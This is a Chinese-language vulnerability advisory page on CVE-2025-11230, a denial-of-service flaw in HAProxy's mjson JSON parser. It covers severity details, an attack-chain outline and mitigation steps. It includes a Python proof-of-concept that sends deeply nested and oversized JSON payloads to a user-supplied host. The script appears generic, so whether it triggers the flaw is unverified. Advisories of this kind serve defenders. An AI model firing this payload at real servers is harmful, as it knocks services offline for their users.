IPBUF安全漏洞报告
English
CVE-2025-11230 CVSS 7.5 高危

CVE-2025-11230 HAProxy mjson库算法复杂度DoS漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-11230
漏洞类型
算法复杂度拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
HAProxy mjson库

相关标签

拒绝服务算法复杂度HAProxymjsonCVE-2025-11230高危漏洞网络攻击无需认证JSON解析

漏洞概述

CVE-2025-11230是HAProxy中mjson库的一个高危拒绝服务漏洞,CVSS评分7.5。该漏洞源于mjson库在解析JSON请求时存在不充分的算法复杂度设计问题。攻击者可以通过发送特制的恶意JSON请求来触发该漏洞,导致HAProxy服务出现拒绝服务状态。由于攻击向量为网络层面且无需认证,远程攻击者可以在无需任何用户交互的情况下轻松利用此漏洞。漏洞的可用性影响评级为高(H),意味着成功利用后可能导致HAProxy服务完全不可用,影响依赖该负载均衡器的业务系统正常运行。此漏洞由Ubuntu安全团队发现并报告,披露日期为2025年11月19日。

技术细节

该漏洞存在于HAProxy的mjson库中,当解析精心构造的JSON请求时,算法复杂度呈指数级增长。攻击者利用这一特性,通过发送包含深层嵌套结构或大量重复元素的JSON payload,使服务器CPU资源被大量消耗。mjson库在处理这类输入时未进行有效的复杂度限制或超时控制,导致解析过程耗时过长或陷入资源耗尽状态。由于HAProxy通常部署在网络入口处处理大量请求,攻击者可以轻易地向其发送恶意请求,在短时间内造成服务响应缓慢或完全无响应。此类算法复杂度漏洞类似于ReDoS(正则表达式拒绝服务)攻击,但针对的是JSON解析逻辑。

攻击链分析

STEP 1
步骤1
攻击者识别运行在网络边缘的HAProxy服务,该服务使用存在漏洞的mjson库处理JSON请求
STEP 2
步骤2
攻击者分析mjson库的JSON解析逻辑,构造特制的恶意JSON payload,包含深层嵌套结构或大量重复元素
STEP 3
步骤3
攻击者通过HTTP/HTTPS协议向HAProxy发送包含恶意JSON的请求,无需任何认证
STEP 4
步骤4
HAProxy的mjson库开始解析恶意JSON,由于算法复杂度问题,解析过程消耗大量CPU资源
STEP 5
步骤5
随着多个恶意请求的发送,HAProxy服务资源被耗尽,无法正常处理其他合法请求
STEP 6
步骤6
最终导致HAProxy服务完全不可用,实现拒绝服务攻击目标

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import json import time def create_malicious_json(depth=100): """ Generate deeply nested JSON to trigger algorithm complexity issue in HAProxy mjson library """ payload = {} current = payload for i in range(depth): current[f'level_{i}'] = {} current = current[f'level_{i}'] return json.dumps(payload) def create_explosive_json(element_count=1000): """ Generate JSON with many repeated elements to cause exponential parsing time in mjson """ return json.dumps({'data': [{'key': f'value_{i}'} for i in range(element_count)]}) def exploit_cve_2025_11230(target_host, target_port=80): """ PoC for CVE-2025-11230: HAProxy mjson DoS vulnerability Sends crafted JSON to trigger inefficient algorithm complexity """ # Method 1: Deep nesting attack nested_payload = create_malicious_json(depth=500) # Method 2: Element explosion attack explosive_payload = create_explosive_json(element_count=5000) for i, payload in enumerate([nested_payload, explosive_payload]): print(f'Sending attack payload {i+1}...') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) try: sock.connect((target_host, target_port)) request = f'POST / HTTP/1.1\r\n' request += f'Host: {target_host}\r\n' request += f'Content-Type: application/json\r\n' request += f'Content-Length: {len(payload)}\r\n' request += f'\r\n{payload}' sock.sendall(request.encode()) print(f'Payload {i+1} sent successfully') except Exception as e: print(f'Error sending payload {i+1}: {e}') finally: sock.close() time.sleep(1) if __name__ == '__main__': target = input('Enter target HAProxy host: ') port = int(input('Enter port (default 80): ') or '80') exploit_cve_2025_11230(target, port)

影响范围

HAProxy mjson < 修复版本
具体受影响版本需参考官方发布的安全公告

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制HAProxy处理的JSON请求大小,设置合理的reqrep规则过滤异常请求;2) 启用HAProxy的timeout client和timeout server参数,强制断开响应过慢的连接;3) 在HAProxy前部署负载均衡器或CDN,添加请求速率限制;4) 监控HAProxy服务状态,设置CPU和内存使用率的告警阈值;5) 考虑暂时禁用JSON解析功能或使用其他负载均衡器替代方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表